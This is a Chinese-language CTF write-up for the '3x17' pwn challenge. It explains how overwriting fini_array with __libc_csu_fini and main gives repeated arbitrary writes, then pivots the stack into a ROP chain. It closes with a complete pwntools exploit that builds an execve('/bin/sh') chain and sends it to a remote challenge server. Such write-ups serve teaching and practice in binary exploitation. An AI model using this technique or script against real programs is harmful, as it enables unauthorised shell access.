前置知识
- 静态编译
- 栈迁移
fini_array
劫持
fini_array劫持
若只覆盖array[1]
为main_addr
,那么只会执行一次main
函数便会执行下一个array
中的函数。
要无限执行某个函数,需要使用这个方式:
array[0]覆盖为__libc_csu_fini
array[1]覆盖为另一地址addrA
其中,start函数中的__libc_start_main函数的第一个参数为main函数地址
第四个参数为__libc_csu_init函数,在main函数开始前执行
第五个参数为__libc_csu_fini函数,在main函数结束时执行
这是因为默认情况下,fini
数组中函数中存放的函数为:
array[0]:__do_global_dtors_aux
array[1]:fini
而在__libc_csu_fini
函数中会调用这两个函数,其执行顺序为array[1] -> array[0]
。
修改后,其执行顺序将会变为:
main -> __libc_csu_fini -> addrA -> __libc_csu_fini -> addrA -> __libc_csu_fini ....
从而达到无限执行的目的。
终止条件即只要当array[0]
不为__libc_csu_fini
即可。
通过fini_array栈迁移来实现ROP
通过上面的无限循环方法执行某个函数时,若该函数可以进行一个任意地址写,那么我们便可以利用上述方式在array[2]
处布置rop
链。
布置完成后,布置fini_array
为如下形式:
fini_array + 0x00: leave_ret (gadget)
fini_array + 0x08: ret (gadget)
fini_array + 0x10: ROP chain
由于本身执行的函数是存放于array[1]
的,因此执行完后会执行array[0]
处的leave_ret
的gadget
,导致rip
为ret
,然后执行我们布置的rop
链。
整体思路
题目是静态编译,我们可以在ida
中通过shift+f12
查看字符串表,并按x
交叉引用找到main
函数。通过交叉引用main
函数可以找到_start
函数,从而获得__libc_csu_init
函数的地址和__libc_csu_fini
函数的地址(分别为_start
函数中__libc_start_main
函数的第四个和第五个参数)。
查看程序,发现其有一个任意地址写,可以写0x18
字节。有一个变量控制主程序的执行条件,为1
的时候才能执行。
我们通过任意地址写来劫持fini_array
数组(调一下获取地址),写array[0]
为__libc_csu_fini
,写array[1]
为main_addr
,从而完成无限执行main
函数,而控制主程序执行条件的变量由于会无限执行,每次都会重新溢出为1
,因此相当于不用管直接绕过。
然后通过任意写在array[2]
位置处布置rop chain
,最后在array[0]
写leave_ret
,array[1]
写ret
触发rop
获得shell
。
exp
from pwn import *
from LibcSearcher import *
filename = './3x17'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')
if local:
sh = process(filename)
else:
sh = remote('node5.buuoj.cn', 28860)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
def write(addr, data):
sh.sendafter('addr:', str(addr))
sh.sendafter('data:', data)
leave_ret_addr = 0x401c4b
syscall_ret_addr = 0x471db5
main_addr = 0x401b6d
start_addr= 0x401a50
libc_csu_fini = 0x402960
fini_array_addr = 0x4b40f0
pop_rdi_ret = 0x401696
pop_rsi_ret = 0x406c30
pop_rdx_ret = 0x446e35
pop_rax_ret = 0x41e4af
ret = 0x401016
bin_sh_addr = fini_array_addr + 8*11
rop_chain_addr = 0x4b4100
sh.sendafter('addr:', str(fini_array_addr))
sh.sendafter('data:', p64(libc_csu_fini) + p64(main_addr))
payload = [p64(pop_rax_ret), p64(59) , p64(pop_rdi_ret) , p64(bin_sh_addr), p64(pop_rsi_ret) , p64(0), p64(pop_rdx_ret), p64(0), p64(syscall_ret_addr), b'/bin/sh\x00']
for index, i in enumerate(payload):
write(rop_chain_addr + index*8, i)
sh.sendafter('addr:', str(fini_array_addr))
sh.sendafter('data:', p64(leave_ret_addr) + p64(ret))
sh.interactive()